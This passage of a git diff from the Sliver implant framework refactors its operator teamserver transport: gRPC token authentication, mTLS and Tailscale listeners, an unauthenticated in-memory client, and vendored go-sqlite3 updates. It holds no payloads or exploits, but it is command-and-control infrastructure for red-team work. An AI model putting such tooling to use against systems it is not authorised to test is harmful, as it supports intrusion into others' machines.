[]grpc.StreamServerInterceptor + + // Authentication interceptors. + if ts.conn == nil { + // All remote connections are users who need authentication. + requestOpts = append(requestOpts, + grpc_auth.UnaryServerInterceptor(ts.tokenAuthFunc), + ) + + streamOpts = append(streamOpts, + grpc_auth.StreamServerInterceptor(ts.tokenAuthFunc), + ) + } else { + // Local in-memory connections have no auth. + requestOpts = append(requestOpts, + grpc_auth.UnaryServerInterceptor(serverAuthFunc), + ) + streamOpts = append(streamOpts, + grpc_auth.StreamServerInterceptor(serverAuthFunc), + ) + } -// ClearTokenCache - Clear the auth token cache -func ClearTokenCache() { - tokenCache = sync.Map{} + // Return middleware for all requests and stream interactions in gRPC. + return []grpc.ServerOption{ + grpc.ChainUnaryInterceptor(requestOpts...), + grpc.ChainStreamInterceptor(streamOpts...), + }, nil } +type contextKey int + +const ( + Transport contextKey = iota + Operator +) + func serverAuthFunc(ctx context.Context) (context.Context, error) { newCtx := context.WithValue(ctx, Transport, "local") newCtx = context.WithValue(newCtx, Operator, "server") + return newCtx, nil } -func tokenAuthFunc(ctx context.Context) (context.Context, error) { - mtlsLog.Debugf("Auth interceptor checking operator token ...") +// tokenAuthFunc uses the core reeflective/team/server to authenticate user requests. +func (ts *teamserver) tokenAuthFunc(ctx context.Context) (context.Context, error) { + log := ts.NamedLogger("transport", "grpc") + log.Debugf("Auth interceptor checking user token ...") + rawToken, err := grpc_auth.AuthFromMD(ctx, "Bearer") if err != nil { - mtlsLog.Errorf("Authentication failure: %s", err) + log.Errorf("Authentication failure: %s", err) return nil, status.Error(codes.Unauthenticated, "Authentication failure") } - // Check auth cache - digest := sha256.Sum256([]byte(rawToken)) - token := hex.EncodeToString(digest[:]) - newCtx := context.WithValue(ctx, Transport, "mtls") - if name, ok := tokenCache.Load(token); ok { - mtlsLog.Debugf("Token in cache!") - newCtx = context.WithValue(newCtx, Operator, name.(string)) - return newCtx, nil - } - operator, err := db.OperatorByToken(token) - if err != nil || operator == nil { - mtlsLog.Errorf("Authentication failure: %s", err) + // Let our core teamserver driver authenticate the user. + // The teamserver has its credentials, tokens and everything in database. + user, authorized, err := ts.UserAuthenticate(rawToken) + if err != nil || !authorized || user == "" { + log.Errorf("Authentication failure: %s", err) return nil, status.Error(codes.Unauthenticated, "Authentication failure") } - mtlsLog.Debugf("Valid user token for %s", operator.Name) - tokenCache.Store(token, operator.Name) - newCtx = context.WithValue(newCtx, Operator, operator.Name) - return newCtx, nil -} - -func deciderUnary(_ context.Context, _ string, _ interface{}) bool { - return serverConfig.Logs.GRPCUnaryPayloads -} - -func deciderStream(_ context.Context, _ string, _ interface{}) bool { - return serverConfig.Logs.GRPCStreamPayloads -} + newCtx := context.WithValue(ctx, Transport, "mtls") + newCtx = context.WithValue(newCtx, Operator, user) -// Maps a grpc response code to a logging level -func codeToLevel(code codes.Code) logrus.Level { - switch code { - case codes.OK: - return logrus.InfoLevel - case codes.Canceled: - return logrus.InfoLevel - case codes.Unknown: - return logrus.ErrorLevel - case codes.InvalidArgument: - return logrus.InfoLevel - case codes.DeadlineExceeded: - return logrus.WarnLevel - case codes.NotFound: - return logrus.InfoLevel - case codes.AlreadyExists: - return logrus.InfoLevel - case codes.PermissionDenied: - return logrus.WarnLevel - case codes.Unauthenticated: - return logrus.InfoLevel - case codes.ResourceExhausted: - return logrus.WarnLevel - case codes.FailedPrecondition: - return logrus.WarnLevel - case codes.Aborted: - return logrus.WarnLevel - case codes.OutOfRange: - return logrus.WarnLevel - case codes.Unimplemented: - return logrus.ErrorLevel - case codes.Internal: - return logrus.ErrorLevel - case codes.Unavailable: - return logrus.WarnLevel - case codes.DataLoss: - return logrus.ErrorLevel - default: - return logrus.ErrorLevel - } + return newCtx, nil } type auditUnaryLogMsg struct { @@ -199,17 +204,20 @@ type auditUnaryLogMsg struct { User string `json:"user"` } -func auditLogUnaryServerInterceptor() grpc.UnaryServerInterceptor { +func auditLogUnaryServerInterceptor(ts *server.Server, auditLog *logrus.Logger) grpc.UnaryServerInterceptor { + log := ts.NamedLogger("grpc", "audit") + return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (_ interface{}, err error) { rawRequest, err := json.Marshal(req) if err != nil { - middlewareLog.Errorf("Failed to serialize %s", err) + log.Errorf("Failed to serialize %s", err) return } - middlewareLog.Debugf("Raw request: %s", string(rawRequest)) - session, beacon, err := getActiveTarget(rawRequest) + + log.Debugf("Raw request: %s", string(rawRequest)) + session, beacon, err := getActiveTarget(log, rawRequest) if err != nil { - middlewareLog.Errorf("Middleware failed to insert details: %s", err) + log.Errorf("Middleware failed to insert details: %s", err) } p, _ := peer.FromContext(ctx) @@ -231,9 +239,10 @@ func auditLogUnaryServerInterceptor() grpc.UnaryServerInterceptor { } msgData, _ := json.Marshal(msg) - log.AuditLogger.Info(string(msgData)) + auditLog.Info(string(msgData)) resp, err := handler(ctx, req) + return resp, err } } @@ -252,8 +261,7 @@ func getUser(client *peer.Peer) string { return "" } -func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, error) { - +func getActiveTarget(middlewareLog *logrus.Entry, rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, error) { var activeBeacon *clientpb.Beacon var activeSession *clientpb.Session @@ -268,7 +276,10 @@ func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, er return nil, nil, nil } - rpcRequest := request["Request"].(map[string]interface{}) + rpcRequest, ok := request["Request"].(map[string]interface{}) + if !ok { + return nil, nil, errors.New("Failed to cast RPC request to map[string]interface{}") + } middlewareLog.Debugf("RPC Request: %v", rpcRequest) @@ -294,3 +305,45 @@ func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, er return activeSession, activeBeacon, nil } + +// Maps a grpc response code to a logging level +func codeToLevel(code codes.Code) logrus.Level { + switch code { + case codes.OK: + return logrus.InfoLevel + case codes.Canceled: + return logrus.InfoLevel + case codes.Unknown: + return logrus.ErrorLevel + case codes.InvalidArgument: + return logrus.InfoLevel + case codes.DeadlineExceeded: + return logrus.WarnLevel + case codes.NotFound: + return logrus.InfoLevel + case codes.AlreadyExists: + return logrus.InfoLevel + case codes.PermissionDenied: + return logrus.WarnLevel + case codes.Unauthenticated: + return logrus.InfoLevel + case codes.ResourceExhausted: + return logrus.WarnLevel + case codes.FailedPrecondition: + return logrus.WarnLevel + case codes.Aborted: + return logrus.WarnLevel + case codes.OutOfRange: + return logrus.WarnLevel + case codes.Unimplemented: + return logrus.ErrorLevel + case codes.Internal: + return logrus.ErrorLevel + case codes.Unavailable: + return logrus.WarnLevel + case codes.DataLoss: + return logrus.ErrorLevel + default: + return logrus.ErrorLevel + } +} diff --git a/server/transport/mtls.go b/server/transport/mtls.go index 8c24962dbc..83a4d9352f 100644 --- a/server/transport/mtls.go +++ b/server/transport/mtls.go @@ -1,120 +1,123 @@ package transport /* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ import ( - "crypto/tls" - "crypto/x509" - "fmt" "net" - "runtime/debug" - - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/server/certs" - "github.com/bishopfox/sliver/server/log" - "github.com/bishopfox/sliver/server/rpc" + "sync" "google.golang.org/grpc" - "google.golang.org/grpc/credentials" + "google.golang.org/grpc/test/bufconn" + + "github.com/reeflective/team/server" ) -const ( - kb = 1024 - mb = kb * 1024 - gb = mb * 1024 +// teamserver is a vanilla TCP+MTLS gRPC server offering all Sliver services through it. +// This listener backend embeds a team/server.Server core driver and uses it for fetching +// server-side TLS configurations, use its loggers and access its database/users/list. +type teamserver struct { + *server.Server - // ServerMaxMessageSize - Server-side max GRPC message size - ServerMaxMessageSize = 2 * gb -) + options []grpc.ServerOption + conn *bufconn.Listener + mutex *sync.RWMutex +} -var ( - mtlsLog = log.NamedLogger("transport", "mtls") -) +// newTeamserverTLS returns a vanilla tcp+mtls gRPC teamserver listener backend. +// Developers: note that the teamserver type is already set with logging/ +// auth/middleware/buffering gRPC options. You can still override them. +func newTeamserverTLS(opts ...grpc.ServerOption) *teamserver { + listener := &teamserver{ + mutex: &sync.RWMutex{}, + options: bufferingOptions(), + } -// StartMtlsClientListener - Start a mutual TLS listener -func StartMtlsClientListener(host string, port uint16) (*grpc.Server, net.Listener, error) { - mtlsLog.Infof("Starting gRPC/mtls listener on %s:%d", host, port) + listener.options = append(listener.options, opts...) - tlsConfig := getOperatorServerTLSConfig("multiplayer") + return listener +} - creds := credentials.NewTLS(tlsConfig) - ln, err := net.Listen("tcp", fmt.Sprintf("%s:%d", host, port)) - if err != nil { - mtlsLog.Error(err) - return nil, nil, err - } - options := []grpc.ServerOption{ - grpc.Creds(creds), - grpc.MaxRecvMsgSize(ServerMaxMessageSize), - grpc.MaxSendMsgSize(ServerMaxMessageSize), - } - options = append(options, initMiddleware(true)...) - grpcServer := grpc.NewServer(options...) - rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) - go func() { - panicked := true - defer func() { - if panicked { - mtlsLog.Errorf("stacktrace from panic: %s", string(debug.Stack())) - } - }() - if err := grpcServer.Serve(ln); err != nil { - mtlsLog.Warnf("gRPC server exited with error: %v", err) - } else { - panicked = false - } - }() - return grpcServer, ln, nil +// Name immplements team/server.Handler.Name(). +// It indicates the transport/rpc stack. +func (h *teamserver) Name() string { + return "gRPC/mTLS" } -// getOperatorServerTLSConfig - Generate the TLS configuration, we do now allow the end user -// to specify any TLS paramters, we choose sensible defaults instead -func getOperatorServerTLSConfig(host string) *tls.Config { - caCertPtr, _, err := certs.GetCertificateAuthority(certs.OperatorCA) +// Init implements team/server.Handler.Init(). +// It is used to initialize the listener with the correct TLS credentials +// middleware (or absence of if about to serve an in-memory connection). +func (h *teamserver) Init(team *server.Server) (err error) { + h.Server = team + + // Logging + logOptions, err := logMiddlewareOptions(h.Server) if err != nil { - mtlsLog.Fatalf("Invalid ca type (%s): %v", certs.OperatorCA, host) + return err } - caCertPool := x509.NewCertPool() - caCertPool.AddCert(caCertPtr) - _, _, err = certs.OperatorServerGetCertificate(host) - if err == certs.ErrCertDoesNotExist { - certs.OperatorServerGenerateCertificate(host) - } + h.options = append(h.options, logOptions...) - certPEM, keyPEM, err := certs.OperatorServerGetCertificate(host) + // Authentication/audit + authOptions, err := h.initAuthMiddleware() if err != nil { - mtlsLog.Errorf("Failed to generate or fetch certificate %s", err) - return nil - } - cert, err := tls.X509KeyPair(certPEM, keyPEM) - if err != nil { - mtlsLog.Fatalf("Error loading server certificate: %v", err) + return err } - tlsConfig := &tls.Config{ - RootCAs: caCertPool, - ClientAuth: tls.RequireAndVerifyClientCert, - ClientCAs: caCertPool, - Certificates: []tls.Certificate{cert}, - MinVersion: tls.VersionTLS13, + h.options = append(h.options, authOptions...) + + return nil +} + +// Listen implements team/server.Handler.Listen(). +// this teamserver uses a tcp+TLS (mutual) listener to serve remote clients. +func (h *teamserver) Listen(addr string) (ln net.Listener, err error) { + // In-memory connection are not authenticated. + if h.conn == nil { + ln, err = net.Listen("tcp", addr) + if err != nil { + return nil, err + } + + // Encryption. + tlsOptions, err := tlsAuthMiddlewareOptions(h.Server) + if err != nil { + return nil, err + } + + h.options = append(h.options, tlsOptions...) + } else { + h.mutex.Lock() + ln = h.conn + h.conn = nil + h.mutex.Unlock() } - return tlsConfig + h.serve(ln) + + return ln, nil +} + +// Close implements team/server.Handler.Close(). +// Original sliver never closes the gRPC HTTP server itself +// with server.Shutdown(), so here we don't close anything. +// Note that the listener itself is controled/closed by +// our core teamserver driver. +func (h *teamserver) Close() error { + return nil } diff --git a/server/transport/server.go b/server/transport/server.go new file mode 100644 index 0000000000..e0664235f1 --- /dev/null +++ b/server/transport/server.go @@ -0,0 +1,139 @@ +package transport + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "net" + "runtime/debug" + + "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" + "google.golang.org/grpc/test/bufconn" + + "github.com/reeflective/team/server" + + "github.com/bishopfox/sliver/protobuf/rpcpb" + "github.com/bishopfox/sliver/server/assets" + "github.com/bishopfox/sliver/server/db" + "github.com/bishopfox/sliver/server/log" + "github.com/bishopfox/sliver/server/rpc" +) + +const ( + kb = 1024 + mb = kb * 1024 + gb = mb * 1024 + + bufSize = 2 * mb + + // ServerMaxMessageSize - Server-side max GRPC message size. + ServerMaxMessageSize = 2*gb - 1 +) + +// NewTeamserver returns a Sliver teamserver ready to run and serve +// itself over either TCP+MTLS/gRPC, or Tailscale+MTLS/gRPC channels. +// The client options returned should be passed to an in-memory teamclient. +// All errors returned by this function are critical: the server can't work. +func NewTeamserver() (team *server.Server, clientOpts []grpc.DialOption, err error) { + tlsListener := newTeamserverTLS() + tailscaleListener := newTeamserverTailScale() + + // Here is an import step, where we are given a change to setup + // the reeflective/teamserver with everything we want: our own + // database, the application daemon default port, loggers or files, + // directories, and much more. + var serverOpts []server.Options + serverOpts = append(serverOpts, + // Core directories/loggers. + server.WithHomeDirectory(assets.GetRootAppDir()), // ~/.sliver/ + server.WithLogger(log.RootLogger), // Logs to ~/.sliver/logs/sliver.{log,json} and audit.json + server.WithDatabase(db.Client), // Uses our traditional ~/.sliver/sliver.db for storing users. + + // Network options/stacks + server.WithDefaultPort(31337), // Our now famous port. + server.WithListener(tlsListener), // Our legacy TCP+MTLS gRPC stack. + server.WithListener(tailscaleListener), // And our new Tailscale variant. + ) + + // Create the application teamserver. + // Any error is critical, and means we can't work correctly. + teamserver, err := server.New("sliver", serverOpts...) + if err != nil { + return nil, nil, err + } + + // The gRPC teamserver backend is hooked to produce a single + // in-memory teamclient RPC/dialer backend. Not encrypted. + return teamserver, clientOptionsFor(tlsListener), nil +} + +// clientOptionsFor requires an existing grpc Teamserver to create an in-memory connection. +// Those options are passed to the SliverClient constructor for setting up its own dialer. +// It returns a teamclient meant to be ran in memory, with TLS credentials disabled. +func clientOptionsFor(server *teamserver, opts ...grpc.DialOption) []grpc.DialOption { + conn := bufconn.Listen(bufSize) + insecureCreds := insecure.NewCredentials() + + ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) { + return conn.Dial() + }) + + opts = append(opts, []grpc.DialOption{ + ctxDialer, + grpc.WithTransportCredentials(insecureCreds), + }...) + + // The server will use this conn as a listener. + // The reference is dropped after server start. + server.conn = conn + + return opts +} + +// serve is the transport-agnostic routine to serve the gRPC server +// (and its implemented Sliver services) onto a generic listener. +// Both mTLS and Tailscale teamserver backends use this. +func (h *teamserver) serve(ln net.Listener) { + grpcServer := grpc.NewServer(h.options...) + + rpcLog := h.NamedLogger("transport", "gRPC") + + // Teamserver/Sliver services + sliverServer := rpc.NewServer(h.Server) + rpcpb.RegisterSliverRPCServer(grpcServer, sliverServer) + + rpcLog.Infof("Serving gRPC teamserver on %s", ln.Addr()) + + // Start serving the listener + go func() { + panicked := true + defer func() { + if panicked { + rpcLog.Errorf("stacktrace from panic: %s", string(debug.Stack())) + } + }() + + if err := grpcServer.Serve(ln); err != nil { + rpcLog.Errorf("gRPC server exited with error: %v", err) + } else { + panicked = false + } + }() +} diff --git a/server/transport/tailscale.go b/server/transport/tailscale.go index dd18a89c70..3d239beaf2 100644 --- a/server/transport/tailscale.go +++ b/server/transport/tailscale.go @@ -21,25 +21,50 @@ package transport import ( "fmt" "net" + "net/url" "os" "path/filepath" - "runtime/debug" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/server/assets" - "github.com/bishopfox/sliver/server/log" - "github.com/bishopfox/sliver/server/rpc" "google.golang.org/grpc" - "google.golang.org/grpc/credentials" "tailscale.com/tsnet" -) -var ( - tsNetLog = log.NamedLogger("transport", "tsnet") + "github.com/reeflective/team/server" + + "github.com/bishopfox/sliver/server/assets" ) -// StartTsNetClientListener - Start a TSNet gRPC listener -func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.Listener, error) { +// tailscaleTeamserver is unexported since we only need it as +// a reeflective/team/server.Listener interface implementation. +type tailscaleTeamserver struct { + *teamserver +} + +// newTeamserverTailScale returns a Sliver teamserver backend using Tailscale. +func newTeamserverTailScale(opts ...grpc.ServerOption) server.Listener { + core := newTeamserverTLS(opts...) + + return &tailscaleTeamserver{core} +} + +// Name indicates the transport/rpc stack. +func (ts *tailscaleTeamserver) Name() string { + return "gRPC/TSNet" +} + +// Close implements team/server.Handler.Close(). +// Instead of serving a classic TCP+TLS listener, +// we start a tailscale stack and create the listener out of it. +func (ts *tailscaleTeamserver) Listen(addr string) (ln net.Listener, err error) { + tsNetLog := ts.NamedLogger("transport", "tailscale") + + url, err := url.Parse(fmt.Sprintf("ts://%s", addr)) + if err != nil { + return nil, err + } + + hostname := url.Hostname() + port := url.Port() + if hostname == "" { hostname = "sliver-server" machineName, _ := os.Hostname() @@ -48,17 +73,17 @@ func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.L } } - tsNetLog.Infof("Starting gRPC/tsnet listener on %s:%d", hostname, port) + tsNetLog.Infof("Starting gRPC/tsnet listener on %s:%s", hostname, port) authKey := os.Getenv("TS_AUTHKEY") if authKey == "" { tsNetLog.Errorf("TS_AUTHKEY not set") - return nil, nil, fmt.Errorf("TS_AUTHKEY not set") + return nil, fmt.Errorf("TS_AUTHKEY not set") } tsnetDir := filepath.Join(assets.GetRootAppDir(), "tsnet") - if err := os.MkdirAll(tsnetDir, 0700); err != nil { - return nil, nil, err + if err := os.MkdirAll(tsnetDir, 0o700); err != nil { + return nil, err } tsNetServer := &tsnet.Server{ @@ -67,35 +92,13 @@ func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.L Logf: tsNetLog.Debugf, AuthKey: authKey, } - ln, err := tsNetServer.Listen("tcp", fmt.Sprintf(":%d", port)) + + ln, err = tsNetServer.Listen("tcp", fmt.Sprintf(":%s", port)) if err != nil { - return nil, nil, err + return nil, err } - // We don't really need the mutual TLS here, but it's easier - // maintain compatibility with existing config files - tlsConfig := getOperatorServerTLSConfig("multiplayer") - creds := credentials.NewTLS(tlsConfig) - options := []grpc.ServerOption{ - grpc.Creds(creds), - grpc.MaxRecvMsgSize(ServerMaxMessageSize), - grpc.MaxSendMsgSize(ServerMaxMessageSize), - } - options = append(options, initMiddleware(true)...) - grpcServer := grpc.NewServer(options...) - rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) - go func() { - panicked := true - defer func() { - if panicked { - tsNetLog.Errorf("stacktrace from panic: %s", string(debug.Stack())) - } - }() - if err := grpcServer.Serve(ln); err != nil { - tsNetLog.Warnf("gRPC/tsnet server exited with error: %v", err) - } else { - panicked = false - } - }() - return grpcServer, ln, nil + ts.serve(ln) + + return ln, nil } diff --git a/vendor/github.com/ncruces/go-sqlite3/README.md b/vendor/github.com/ncruces/go-sqlite3/README.md index 8a06a28516..838679176b 100644 --- a/vendor/github.com/ncruces/go-sqlite3/README.md +++ b/vendor/github.com/ncruces/go-sqlite3/README.md @@ -31,16 +31,11 @@ This has benefits, but also comes with some drawbacks. Because WASM does not support shared memory, [WAL](https://www.sqlite.org/wal.html) support is [limited](https://www.sqlite.org/wal.html#noshm). -To work around this limitation, SQLite is compiled with -[`SQLITE_DEFAULT_LOCKING_MODE=1`](https://www.sqlite.org/compile.html#default_locking_mode), -making `EXCLUSIVE` the default locking mode. -For non-WAL databases, `NORMAL` locking mode can be activated with -[`PRAGMA locking_mode=NORMAL`](https://www.sqlite.org/pragma.html#pragma_locking_mode). +To work around this limitation, SQLite is [patched](sqlite3/locking_mode.patch) +to always use `EXCLUSIVE` locking mode for WAL databases. Because connection pooling is incompatible with `EXCLUSIVE` locking mode, -the `database/sql` driver defaults to `NORMAL` locking mode. -To open WAL databases, or use `EXCLUSIVE` locking mode, -disable connection pooling by calling +to open WAL databases you should disable connection pooling by calling [`db.SetMaxOpenConns(1)`](https://pkg.go.dev/database/sql#DB.SetMaxOpenConns). #### POSIX Advisory Locks @@ -55,19 +50,22 @@ OFD locks are fully compatible with process-associated POSIX advisory locks. On BSD Unixes, this module uses [BSD locks](https://man.freebsd.org/cgi/man.cgi?query=flock&sektion=2). -BSD locks may _not_ be compatible with process-associated POSIX advisory locks. +BSD locks may _not_ be compatible with process-associated POSIX advisory locks +(they are on FreeBSD). #### Testing -The pure Go VFS is tested by running an unmodified build of SQLite's +The pure Go VFS is tested by running SQLite's [mptest](https://github.com/sqlite/sqlite/blob/master/mptest/mptest.c) -on Linux, macOS and Windows. +on Linux, macOS and Windows; +BSD code paths are tested on macOS using the `sqlite3_bsd` build tag. Performance is tested by running [speedtest1](https://github.com/sqlite/sqlite/blob/master/test/speedtest1.c). ### Roadmap - [ ] advanced SQLite features + - [x] custom functions - [x] nested transactions - [x] incremental BLOB I/O - [x] online backup @@ -77,7 +75,7 @@ Performance is tested by running - [x] in-memory VFS - [x] read-only VFS, wrapping an [`io.ReaderAt`](https://pkg.go.dev/io#ReaderAt) - [ ] cloud-based VFS, based on [Cloud Backed SQLite](https://sqlite.org/cloudsqlite/doc/trunk/www/index.wiki) -- [ ] custom SQL functions + - [ ] [MVCC](https://en.wikipedia.org/wiki/Multiversion_concurrency_control) VFS, using [BadgerDB](https://github.com/dgraph-io/badger) ### Alternatives diff --git a/vendor/github.com/ncruces/go-sqlite3/backup.go b/vendor/github.com/ncruces/go-sqlite3/backup.go index 27a71a9707..17efa03ed0 100644 --- a/vendor/github.com/ncruces/go-sqlite3/backup.go +++ b/vendor/github.com/ncruces/go-sqlite3/backup.go @@ -77,7 +77,7 @@ func (c *Conn) backupInit(dst uint32, dstName string, src uint32, srcName string if r == 0 { defer c.closeDB(other) r = c.call(c.api.errcode, uint64(dst)) - return nil, c.module.error(r, dst) + return nil, c.sqlite.error(r, dst) } return &Backup{ diff --git a/vendor/github.com/ncruces/go-sqlite3/conn.go b/vendor/github.com/ncruces/go-sqlite3/conn.go index be10c719fa..9c15a85f0e 100644 --- a/vendor/github.com/ncruces/go-sqlite3/conn.go +++ b/vendor/github.com/ncruces/go-sqlite3/conn.go @@ -19,7 +19,7 @@ import ( // // https://www.sqlite.org/c3ref/sqlite3.html type Conn struct { - *module + *sqlite interrupt context.Context waiter chan struct{} @@ -39,7 +39,7 @@ func Open(filename string) (*Conn, error) { // If none of the required flags is used, a combination of [OPEN_READWRITE] and [OPEN_CREATE] is used. // If a URI filename is used, PRAGMA statements to execute can be specified using "_pragma": // -// sqlite3.Open("file:demo.db?_pragma=busy_timeout(10000)&_pragma=locking_mode(normal)") +// sqlite3.Open("file:demo.db?_pragma=busy_timeout(10000)") // // https://www.sqlite.org/c3ref/open.html func OpenFlags(filename string, flags OpenFlag) (*Conn, error) { @@ -50,19 +50,19 @@ func OpenFlags(filename string, flags OpenFlag) (*Conn, error) { } func newConn(filename string, flags OpenFlag) (conn *Conn, err error) { - mod, err := instantiateModule() + sqlite, err := instantiateSQLite() if err != nil { return nil, err } defer func() { if conn == nil { - mod.close() + sqlite.close() } else { runtime.SetFinalizer(conn, util.Finalizer[Conn](3)) } }() - c := &Conn{module: mod} + c := &Conn{sqlite: sqlite} c.arena = c.newArena(1024) c.handle, err = c.openDB(filename, flags) if err != nil { @@ -80,7 +80,7 @@ func (c *Conn) openDB(filename string, flags OpenFlag) (uint32, error) { r := c.call(c.api.open, uint64(namePtr), uint64(connPtr), uint64(flags), 0) handle := util.ReadUint32(c.mod, connPtr) - if err := c.module.error(r, handle); err != nil { + if err := c.sqlite.error(r, handle); err != nil { c.closeDB(handle) return 0, err } @@ -99,7 +99,7 @@ func (c *Conn) openDB(filename string, flags OpenFlag) (uint32, error) { c.arena.reset() pragmaPtr := c.arena.string(pragmas.String()) r := c.call(c.api.exec, uint64(handle), uint64(pragmaPtr), 0, 0, 0) - if err := c.module.error(r, handle, pragmas.String()); err != nil { + if err := c.sqlite.error(r, handle, pragmas.String()); err != nil { if errors.Is(err, ERROR) { err = fmt.Errorf("sqlite3: invalid _pragma: %w", err) } @@ -113,7 +113,7 @@ func (c *Conn) openDB(filename string, flags OpenFlag) (uint32, error) { func (c *Conn) closeDB(handle uint32) { r := c.call(c.api.closeZombie, uint64(handle)) - if err := c.module.error(r, handle); err != nil { + if err := c.sqlite.error(r, handle); err != nil { panic(err) } } @@ -143,7 +143,7 @@ func (c *Conn) Close() error { c.handle = 0 runtime.SetFinalizer(c, nil) - return c.module.close() + return c.close() } // Exec is a convenience function that allows an application to run @@ -278,7 +278,7 @@ func (c *Conn) SetInterrupt(ctx context.Context) (old context.Context) { break case <-ctx.Done(): // Done was closed. - const isInterruptedOffset = 280 + const isInterruptedOffset = 288 buf := util.View(c.mod, c.handle+isInterruptedOffset, 4) (*atomic.Uint32)(unsafe.Pointer(&buf[0])).Store(1) // Wait for the next call to SetInterrupt. @@ -295,7 +295,7 @@ func (c *Conn) checkInterrupt() bool { if c.interrupt == nil || c.interrupt.Err() == nil { return false } - const isInterruptedOffset = 280 + const isInterruptedOffset = 288 buf := util.View(c.mod, c.handle+isInterruptedOffset, 4) (*atomic.Uint32)(unsafe.Pointer(&buf[0])).Store(1) return true @@ -319,7 +319,7 @@ func (c *Conn) Pragma(str string) ([]string, error) { } func (c *Conn) error(rc uint64, sql ...string) error { - return c.module.error(rc, c.handle, sql...) + return c.sqlite.error(rc, c.handle, sql...) } // DriverConn is implemented by the SQLite [database/sql] driver connection. diff --git a/vendor/github.com/ncruces/go-sqlite3/const.go b/vendor/github.com/ncruces/go-sqlite3/const.go index a1d6145c3e..9d0cd3008f 100644 --- a/vendor/github.com/ncruces/go-sqlite3/const.go +++ b/vendor/github.com/ncruces/go-sqlite3/const.go @@ -167,6 +167,18 @@ const ( PREPARE_NO_VTAB PrepareFlag = 0x04 ) +// FunctionFlag is a flag that can be passed to [Conn.PrepareFlags]. +// +// https://www.sqlite.org/c3ref/c_deterministic.html +type FunctionFlag uint32 + +const ( + DETERMINISTIC FunctionFlag = 0x000000800 + DIRECTONLY FunctionFlag = 0x000080000 + SUBTYPE FunctionFlag = 0x000100000 + INNOCUOUS FunctionFlag = 0x000200000 +) + // Datatype is a fundamental datatype of SQLite. // // https://www.sqlite.org/c3ref/c_blob.html @@ -182,18 +194,18 @@ const ( // String implements the [fmt.Stringer] interface. func (t Datatype) String() string { - const name = "INTEGERFLOATTEXTBLOBNULL" + const name = "INTEGERFLOATEXTBLOBNULL" switch t { case INTEGER: return name[0:7] case FLOAT: return name[7:12] case TEXT: - return name[12:16] + return name[11:15] case BLOB: - return name[16:20] + return name[15:19] case NULL: - return name[20:24] + return name[19:23] } return strconv.FormatUint(uint64(t), 10) } diff --git a/vendor/github.com/ncruces/go-sqlite3/context.go b/vendor/github.com/ncruces/go-sqlite3/context.go new file mode 100644 index 0000000000..3e511b52d9 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/context.go @@ -0,0 +1,174 @@ +package sqlite3 + +import ( + "errors" + "math" + "time" + + "github.com/ncruces/go-sqlite3/internal/util" +) + +// Context is the context in which an SQL function executes. +// An SQLite [Context] is in no way related to a Go [context.Context]. +// +// https://www.sqlite.org/c3ref/context.html +type Context struct { + *sqlite + handle uint32 +} + +// SetAuxData saves metadata for argument n of the function. +// +// https://www.sqlite.org/c3ref/get_auxdata.html +func (c Context) SetAuxData(n int, data any) { + ptr := util.AddHandle(c.ctx, data) + c.call(c.api.setAuxData, uint64(c.handle), uint64(n), uint64(ptr)) +} + +// GetAuxData returns metadata for argument n of the function. +// +// https://www.sqlite.org/c3ref/get_auxdata.html +func (c Context) GetAuxData(n int) any { + ptr := uint32(c.call(c.api.getAuxData, uint64(c.handle), uint64(n))) + return util.GetHandle(c.ctx, ptr) +} + +// ResultBool sets the result of the function to a bool. +// SQLite does not have a separate boolean storage class. +// Instead, boolean values are stored as integers 0 (false) and 1 (true). +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultBool(value bool) { + var i int64 + if value { + i = 1 + } + c.ResultInt64(i) +} + +// ResultInt sets the result of the function to an int. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultInt(value int) { + c.ResultInt64(int64(value)) +} + +// ResultInt64 sets the result of the function to an int64. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultInt64(value int64) { + c.call(c.api.resultInteger, + uint64(c.handle), uint64(value)) +} + +// ResultFloat sets the result of the function to a float64. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultFloat(value float64) { + c.call(c.api.resultFloat, + uint64(c.handle), math.Float64bits(value)) +} + +// ResultText sets the result of the function to a string. +// +// 